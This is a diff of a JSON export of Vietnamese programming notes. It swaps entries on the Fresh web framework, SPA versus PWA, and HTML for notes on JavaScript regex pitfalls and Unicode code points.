"Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:28:00.000Z", - "id": "Z8" + "Ngày cập nhật": "2024-09-10T09:00:00.000Z", + "id": "ct" }, { - "Tiêu đề": "Có một số hàm ở server sẽ không serialize được", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Có một số hàm ở server sẽ không serialize được", + "Tiêu đề": "Cần escape regex", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Cần escape regex", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Passing props to islands is supported, but only if the props are serializable. Fresh can serialize the following types of values:\r\n\r\n- Primitive types `string`, `boolean`, `bigint`, and `null`\r\n- Most `number`s (`Infinity`, `-Infinity`, and `NaN` are silently converted to `null`)\r\n- Plain objects with string keys and serializable values\r\n- Arrays containing serializable values\r\n- Uint8Array\r\n- JSX Elements (restricted to `props.children`)\r\n- Preact Signals (if the inner value is serializable)\r\n\r\nCircular references are supported. If an object or signal is referenced multiple times, it is only serialized once and the references are restored upon deserialization. Passing complex objects like `Date`, custom classes, or functions is not supported.\r\n\r\nTrích từ:: [Interactive islands | Fresh docs](https://fresh.deno.dev/docs/concepts/islands)\r\n[Why is a function not serializable?](https://stackoverflow.com/q/27926619/3416774)\r\n\r\nHệ quả là [[Route không bao giờ được gửi đến client. Island được chạy ở cả server và client]]", + "Toàn bộ nội dung": "```js\nfunction escapeRegex(string) {\n return string.replace(/[/\\-\\\\^$*+?.()|[\\]{}]/g, '\\\\$&');\n}\n```\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z9" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:54:00.000Z", + "id": "cu" }, { - "Tiêu đề": "Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component", + "Tiêu đề": "Dùng regex.exec() với while dễ vào vòng lặp vô hạn", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/JavaScript/Dùng regex.exec() với while dễ vào vòng lặp vô hạn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Handlers in Fresh are part of the routing mechanism. They are called before the component function is called. Typically they are used to pull data from a database or another API. They can be thought of as a middleware to the current route.\r\n\r\n```jsx\r\nexport const handler = { \r\n\tasync GET(req, ctx) { \r\n\t\tconst data = await loadData(); // This triggers HTML rendering \r\n\t\treturn ctx.render(data); \r\n\t} \r\n} \r\nexport default function MyPage(props) {\r\n\treturn <h1>{props.data.name}</h1> \r\n}\r\n```\r\nIf no `handler` export is present, Fresh will add a default one that looks like this behind the scenes:\r\n\r\n```js\r\nexport const handler = { \r\n\tGET: (req, ctx) => ctx.render() \r\n}\r\n```\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/1192124376645124310/1192126763011158056)\r\n", + "Toàn bộ nội dung": "Để tránh vào vòng lặp vô hạn, \r\n- Do _not_ place the regular expression literal (or [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) constructor) within the `while` condition — it will recreate the regex for every iteration and reset [`lastIndex`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex).\r\n- Be sure that the [global (`g`) flag](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions#advanced_searching_with_flags) is set, or `lastIndex` will never be advanced.\r\n- If the regex may match zero-length characters (e.g. `/^/gm`), increase its [`lastIndex`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex) manually each time to avoid being stuck in the same place.\r\n\r\nNguồn:: [[MDN]], [RegExp.prototype.exec() - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec#examples \"RegExp.prototype.exec() - JavaScript | MDN\")\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZA" + "Ngày tạo": "2023-09-23T14:42:00.000Z", + "Ngày cập nhật": "2024-08-25T13:40:00.000Z", + "id": "cv" }, { - "Tiêu đề": "Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component", + "Tiêu đề": "Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/JavaScript/Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": " Fresh takes whatever you pass into ctx.render(arg) and sets it on props.data. There is no code to ensure that it is correct or anything. It just passes it along. If nothing is passed to ctx.render() then props.data will be undefined\r\n```tsx\r\nimport { Handlers, PageProps } from \"$fresh/server.ts\"\r\nexport const handler: Handlers = {\r\n\tGET(req, ctx) {\r\n return ctx.render({req}) \r\n }\r\n}\r\nexport default function App(props: PageProps){\r\n return <h1>\r\n {props.data.req.url} \r\n </h1>\r\n} \r\n```\r\n[[Route cần có ít nhất một handler hoặc một component]]. [[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]]", + "Toàn bộ nội dung": "Để `regex.test()` ngay trong `if`:\r\n```js\r\nvar string = 'aaa lấy tôi bbb'\r\nvar regex = new RegExp('lấy tôi', 'gi');\r\nconsole.log(\"kết quả của regex.test khi ở ngoài if:\", regex.test(string))\r\nif (regex.test(string)) {\r\n    console.log(\"Nếu dòng này hiện nghĩa là điều kiện bằng true\")\r\n}\r\n\r\n//kết quả của regex.test khi ở ngoài if: true\r\n```\r\n\r\nCách sửa: tạo biến cho `regex.test()` trước:\r\n```js\r\nvar string = 'aaa lấy tôi bbb'\r\nvar regex = new RegExp('lấy tôi', 'gi');\r\ntest = regex.test(string)\r\nconsole.log(\"kết quả của regex.test khi ở ngoài if:\", test)\r\nif (test) {\r\n    console.log(\"Nếu dòng này hiện nghĩa là điều kiện bằng true\")\r\n}\r\n\r\n//kết quả của regex.test khi ở ngoài if: true\r\n//Nếu dòng này hiện nghĩa là điều kiện bằng true\r\n```\r\n\r\n[Regex.test(value) returns true when logged but false within an if statement](https://stackoverflow.com/a/59694184/3416774)\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZB" + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-25T13:40:00.000Z", + "id": "cw" }, { - "Tiêu đề": "Nếu viết handler dưới dạng vật thể thì chỉ những phương thức là động từ HTTP mới được dùng. Nếu viết dưới dạng hàm thì cái hàm đó sẽ trở thành handler luôn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Nếu viết handler dưới dạng vật thể thì chỉ những phương thức là động từ HTTP mới được dùng. Nếu viết dưới dạng hàm thì cái hàm đó sẽ trở thành handler luôn", + "Tiêu đề": "regex.exec(), regex.test() thay đổi kết quả sau những lần gọi mới", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/JavaScript/regex.exec(), regex.test() thay đổi kết quả sau những lần gọi mới", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "If you pass an object, then it will only call the property with the relevant HTTP verb. If it's a function then the function is treated as the handler itself.\r\nmarvinh.: The basic explanation of what a handler is:\r\n\r\n```tsx\r\nconst handler = {\r\n GET(req) {\r\n return new Response(\"hello this is GET\")\r\n }\r\n}\r\n\r\n// Somewhere inside Fresh\r\nDeno.serve(req => {\r\n const method = req.method;\r\n if (handler[method) {\r\n return handler[method](req)\r\n }\r\n\r\n return new Response(\"not found\", { status: 404 })\r\n})\r\n \r\n```\r\nmarvinh.: req.body is a readable stream. Preact doesn't support rendering readable streams inside JSX, so it will be skipped during rendering\r\n", + "Toàn bộ nội dung": "Nguồn:: [[MDN]], [RegExp.prototype.test() - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)\r\n\r\n[[Dùng regex.exec() với while dễ vào vòng lặp vô hạn]] \r\n[[Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-03-24T03:24:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZC" + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-25T13:40:00.000Z", + "id": "cx" }, { - "Tiêu đề": "Route cần có ít nhất một handler hoặc một component", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Route cần có ít nhất một handler hoặc một component", + "Tiêu đề": "Không dùng \\b ngay sau ký tự unicode được", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Không dùng b ngay sau ký tự unicode được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component]]\r\nNếu không có handler nào thì Fresh sẽ tự động thêm một cái mặc định này:\r\n\r\n```tsx\r\nexport const handler = {\r\n  get(req, ctx) => ctx.render()\r\n}\r\n```\r\nFresh takes whatever you pass into ctx.render(arg) and sets it on props.data. There is no code to ensure that it is correct or anything. It just passes it along. If nothing is passed to ctx.render() then props.data will be undefined\r\n\r\nNguồn:: [Routes | Fresh docs](https://fresh.deno.dev/docs/concepts/routes)\r\n\r\n[[Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component]]", + "Toàn bộ nội dung": "[Why does /đ\\b/ not match đ? (duplicate)](https://stackoverflow.com/q/76627655/3416774)\nNếu dùng `(?=$|\\P{L})` thì lại chạy lâu. Dễ nhất là thêm khoảng trắng ở ngay sau input và \n```js\ninput = input + ' '\nvar regex = new RegExp(word + ' ', 'gi');\nconst test = regex.test(input)\n```\n[[Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng()]]\nNguồn:: [[Stack Overflow]], [How can I use Unicode-aware regular expressions in JavaScript?](https://stackoverflow.com/a/52205643/3416774)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZD" + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-25T13:54:00.000Z", + "id": "cy" }, { - "Tiêu đề": "Route không bao giờ được gửi đến client. Island được chạy ở cả server và client", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Route không bao giờ được gửi đến client. Island được chạy ở cả server và client", + "Tiêu đề": "Lazy quantifier chỉ lười về bên phải, chứ không lười về bên trái", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Lazy quantifier chỉ lười về bên phải, chứ không lười về bên trái", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Có một số hàm ở server sẽ không serialize được]], [[Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại]]\r\nLý do:: [[Những hàm của môi trường thực thi không chạy được trên trình duyệt]], [[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]] \r\n[[Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều]]\r\nNguồn:: [Create a project | Fresh docs](https://fresh.deno.dev/docs/getting-started/create-a-project)\r\n\r\n[[Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client]]", + "Toàn bộ nội dung": "Nếu bạn có chuỗi sau:\n```\nSTART START word word word END\n```\nvà có regex này với cờ `gm`:\n```\nSTART.*?END\n```\n\nThì kết quả sẽ không phải là:\n```\nSTART word word word END\n```\nmà là nguyên chuỗi gốc.\n\nNhưng nếu chuỗi có dạng:\n```\nSTART word word word END END\n```\nThì nó sẽ ra đúng kết quả.\n\nNguồn:: [[Stack Overflow]], [Why is the lazy quantifier indeed lazy to the right, but not to the left?](https://stackoverflow.com/q/77134671/3416774)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:28:00.000Z", - "id": "ZE" + "Ngày tạo": "2023-10-24T09:28:00.000Z", + "Ngày cập nhật": "2024-08-25T13:55:00.000Z", + "id": "cz" }, { - "Tiêu đề": "Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại", + "Tiêu đề": "Regex giúp tìm kiếm những chuỗi phức tạp", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Regex giúp tìm kiếm những chuỗi phức tạp", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\nNguồn:: \r\n\r\n", + "Toàn bộ nội dung": "## Tạo query DQL từ danh sách các key\nDo that in several steps. \n1) `^.*$` ⇒ `$& as \"$&\"`\n2) `(?:\\G|^\\S*)\\K\\h+(?=.* as \".*\"$)` ⇒ `-,`\n3) `(?:\\G-|^)[^-]+(?=\\S* as \".*\"$)` ⇒ `\\L$&`\nhttps://stackoverflow.com/questions/75015542/how-to-convert-multiple-words-into-multiple-words-as-multiple-words\n\n[[Tự học regex]]\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZF" + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-25T13:56:00.000Z", + "id": "c-" }, { - "Tiêu đề": "So sánh Single Page App (SPA) vs Progressive Web App (PWA)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/So sánh Single Page App (SPA) vs Progressive Web App (PWA)", + "Tiêu đề": "Tự học regex", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Tự học regex", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hôm nay mình thấy một team nói với nhau về **Progressive web app** mà không phân biệt nó khác **Single page app** đến mức nào? Và công nghệ chạy background ra sao! Chỉ biết là nó dùng ajax, javascript thư viện của thằng này thằng kia nên nó là Progressive web app đó, chứ hỏng có hiểu là cơ chế hoạt động nó ra sao hết thấy tội mà thôi cũng kệ… luôn chứ sao 😀\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_1369,h_451/http://lcdung.top/wp-content/uploads/2018/01/Untitled.png)\r\n\r\nNhư hình mô tả bên trên của mình thì chắc cũng hiểu sơ sơ tốc độ load của từng loại khái niệm về _**web app, single page app, progressive web app**_!\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_690,h_257/http://lcdung.top/wp-content/uploads/2018/01/web_development.jpg)\r\n\r\n## Web app\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_550,h_301/http://lcdung.top/wp-content/uploads/2018/01/download.jpg)\r\n\r\nCái này chắc mọi người ai cũng từng nghe web động (_dynamic web app_) cơ chế hoạt động của web app từ thời sơ khai cho đến nay cũng không thay đổi nhiều với phương thức truyền dữ liệu là Post form hoặc reload trang để Get param từ url.\r\n\r\n- **Browser (Client site):**\r\n - Yêu cầu hỗ trợ technique không cần nhiều!\r\n - Hoạt động: mỗi lần gửi request thì browser phải đợi response, _**load lại**_ rất nhiều thông tin từ server site như gói dữ liệu html, hình ảnh, css, js,…\r\n- **Web server (Server site):** \r\n - Mỗi lần nhận response thì Server phải xử lý rất nhiều từ data, bussiness logic và cuối cùng tạo ra view và gửi string html rất nặng về client site.\r\n\r\n_**Bất lợi khá nhiều****:**_\r\n\r\n1. Tổng lại là thời gian load để xử lý từ 2 phía client và server rất nhiều!\r\n2. Server site xử lý khá nhiều vì phải generate view cho client.\r\n3. Việc develop tốn nhiều công sức đồi hỏi client site và server site phải có sự liên kết!\r\n\r\n## Single Page App (SPA)\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_550,h_300/http://lcdung.top/wp-content/uploads/2018/01/TraditionalLifecycle.jpg)\r\n\r\nVì sự bất lợi của Web app, _**Single page app**_ ra đời để cải thiện các điểm bất lợi còn tồn động và single page app xử lý dựa trên nền các library, framework java script và _**phương thức truyền dữ liệu chính là dùng ajax**_. Ai dùng Angular (Framework) hay React (Library) sẽ hiểu về nó 😛\r\n\r\n- **Browser (Client site):**\r\n - Yêu cầu technique: phải hỗ trợ java script, các library java script dùng ajax là chính.\r\n - Hoạt động: mỗi lần load page lần đầu khá lâu, vì load master page và khởi tạo các Object model (lưu trữ data vào object java script). Nhưng sẽ _**không tốn thời gian load lại**_ khi chuyển sang các page khác vì mọi thứ đều được các library hoặc framework sẽ render thành view, còn data sẽ được truyền thông qua ajax và được lưu vào các object!\r\n- **Web server (Server site):** \r\n - Mỗi lần nhận response thì Server chỉ xử lý data, bussiness logic và gửi data theo kiểu json object dữ liệu rất nhẹ về client site.\r\n\r\n_**Thuận lợi:**_\r\n\r\n1. Tổng lại là thời gian load để xử lý từ 2 phía client và server giảm rất nhiều!\r\n2. Server site xử lý và trả về gói dự liệu nhẹ hơn nhiều.\r\n3. Việc develop client site và server site có thể tách rời riêng biệt rõ ràng hơn!\r\n4. Việc chuyển trang trên single page và không reload page nên thấy rất nhanh.\r\n\r\n**Bất lợi:**\r\n\r\n1. Developer phải có kiến thức về java script và các library java script render (React, Angular,…) thật kỹ để phát triển front end.\r\n2. Browser phải hỗ trợ các version java script mới để các library hay framework java script vận hành tốt.\r\n3. Khi reload page thời gian khởi tạo từ phía client vẫn tốn nhiều thời gian.\r\n\r\n## Progressive Web App (PWA)\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_638,h_339/http://lcdung.top/wp-content/uploads/2018/01/sw.jpg)\r\n\r\nĐể tối ưu hơn tốc độ load từ Single page app, **Progressive web app** ra đời để tận dụng các technique từ Browser đã hỗ trợ Java script, Cache, DB local và phương thức truyền dữ liệu chính là _**Service Worker**_ (Plugin của browser, device dùng thông qua java script và là trái tim của PWA).\r\n\r\n- **Browser (Client site):**\r\n - Yêu cầu technique: phải hỗ trợ Java script, Cache, DB local và Service Worker là phương thức chính để nhận data, lưu trữ vào cache hoặc DB.\r\n - Hoạt động: Mỗi lần đầu load page thời gian load master page và khởi tạo Service Worker không nhiều như **SPA**. Theo SPA mất 10 giây thì PWA chỉ mất 1 giây. Những lân load page lại thì SPA vẫn tốn 5-10 giây để load thì Service Worker chỉ tốn chưa đến 1 giây.\r\n- **Web server (Server site):** \r\n - Mỗi lần nhận response thì Server chỉ xử lý data, bussiness logic và gửi data theo kiểu json object object, dữ liệu rất nhẹ.\r\n\r\n_**Thuận lợi:**_\r\n\r\n1. Tổng lại là thời gian load để xử lý từ 2 phía client và server giảm rất nhiều!\r\n2. Server site xử lý và trả về gói dự liệu nhẹ hơn nhiều.\r\n3. Việc develop client site và server site có thể tách rời riêng biệt rõ ràng hơn!\r\n4. Việc reload trang không còn là vấn đề như SPA.\r\n5. Trang đã load lần đầu thì các lần sau có thể chạy offline vì mọi thứ đều store dưới local của browser.\r\n\r\n**Bất lợi:**\r\n\r\n1. Developer phải có kiến thức về java script và các library java script render (React, Vue,…) thật kỹ để phát triển front end.\r\n2. Browser phải dùng version mới để hỗ trợ các version java script để các library hay framework java script sử dụng service worker.\r\n3. Domain phải dùng HTTPS để bảo mật khi truyền dữ liệu.\r\n\r\nTrong tương lai mình thấy được **Accelerated Mobile Pages (AMP)** sẽ kết hợp với PWA để tạo ra đột phá về trải nghiệm người dùng tốt hơn về thời gian load có thể là tốn zero giây cho first load 😀\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_804,h_455/http://lcdung.top/wp-content/uploads/2018/01/app.jpg)\r\n\r\n\r\nNguồn:: [So sánh Single Page App (SPA) vs Progressive Web App (PWA) - LCDUNG](https://lcdung.top/sanh-single-page-app-spa-vs-progressive-web-app-pwa/)", + "Toàn bộ nội dung": "[Regex 101 - EN](https://regexlearn.com/learn/regex101)\n[RegexOne - Learn Regular Expressions - Lesson 1: An Introduction, and the ABCs](https://regexone.com/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZG" + "Ngày tạo": "2023-09-21T07:19:00.000Z", + "Ngày cập nhật": "2024-09-09T13:55:00.000Z", + "id": "c_" }, { - "Tiêu đề": "UI là kết quả của state và data. State nằm ở client, data nằm ở server", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/UI là kết quả của state và data. State nằm ở client, data nằm ở server", + "Tiêu đề": "Sẽ không có bug nếu không có spec", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Sẽ không có bug nếu không có spec", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu chỉ cần state để tạo UI thì là client-side render. Nếu chỉ cần data thì là server-side render\r\n\r\nNguồn:: ![Rethinking React - YouTube](https://youtu.be/KuhfT6-I3QU?si=dw2sM15R87Odni4C)\r\n[[State giúp cập nhật dữ liệu mà không cần tải lại trang]]", + "Toàn bộ nội dung": "Spec là thứ để mọi người cùng thống nhất với nhau xem một đầu ra có nên trở thành lỗi hay không.\n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZH" + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "d0" }, { - "Tiêu đề": "Article dùng cho những nội dung độc lập, chứ không nhất định phải là một bài viết dài", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/Article dùng cho những nội dung độc lập, chứ không nhất định phải là một bài viết dài", + "Tiêu đề": "Bộ gõ tiếng Việt", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Bộ gõ tiếng Việt", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Một document có thể có nhiều article. Một article cũng có thể chứa nhiều article khác:\r\n```html\r\n<article class=\"forecast\">\r\n <h1>Weather forecast for Seattle</h1>\r\n <article class=\"day-forecast\">\r\n <h2>03 March 2018</h2>\r\n <p>Rain.</p>\r\n </article>\r\n <article class=\"day-forecast\">\r\n <h2>04 March 2018</h2>\r\n <p>Periods of rain.</p>\r\n </article>\r\n <article class=\"day-forecast\">\r\n <h2>05 March 2018</h2>\r\n <p>Heavy rain.</p>\r\n </article>\r\n</article>\r\n```\r\n![[article html tag.png]]\r\nNguồn:: [\\<article\\>: The Article Contents element - HTML: HyperText Markup Language | MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/article)\r\n\r\nTuy nhiên, nó nên dùng cho những thứ nếu tách ra khỏi web thì vẫn hiểu được\r\nNguồn:: [Should I use 'li' or 'article' for products listing?](https://stackoverflow.com/a/30845498/3416774)", + "Toàn bộ nội dung": "Nguồn::\n[Nhật ký phát triển GõKey - Tuần 1 | Huy's Blog](https://notes.huy.rocks/posts/devlog-gokey-week-01.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZI" + "Ngày cập nhật": "2024-08-31T08:06:00.000Z", + "id": "d1" }, { - "Tiêu đề": "DOM là kết quả của việc parse HTML", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/DOM là kết quả của việc parse HTML", + "Tiêu đề": "Các ký tự ASCII có 1 điểm mã", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Các ký tự ASCII có 1 điểm mã", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language]]\r\n\r\n![An Introduction to Browser Rendering - YouTube](https://youtu.be/n1cKlKM3jYI?si=5WkAsp9VgCo6V6tZ)\r\n[[DOM property khác HTML attribute]] ", + "Toàn bộ nội dung": "[[Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII]]\r\nNguồn:: [Regex Tutorial - Unicode Characters and Properties](https://www.regular-expressions.info/unicode.html)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ZJ" + "Ngày cập nhật": "2024-08-25T13:41:00.000Z", + "id": "d2" }, { - "Tiêu đề": "DOM property khác HTML attribute", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/HTML, CSS/DOM property khác HTML attribute", + "Tiêu đề": "Cách máy tính hiểu ký tự khác với cách con người hiểu ký tự", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Cách máy tính hiểu ký tự khác với cách con người hiểu ký tự", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào]] \r\nNguồn:: [[MDN]], [What is the difference between properties and attributes in HTML?](https://stackoverflow.com/q/6003819/3416774)\r\nĐây là attribute:\r\n```html\r\n<a href='...'\r\n```", + "Toàn bộ nội dung": "Nguồn:: ![](https://www.youtube.com/watch?v=qOcxwRc2Epg&t=0s) \r\n\r\nTốt nhất là nên dùng điểm mã khi nói về ký tự máy tính\r\n[[Điểm mã không phải là cách để máy tính lưu ký tự]]\r\n[[Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu]]\r\n[[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": 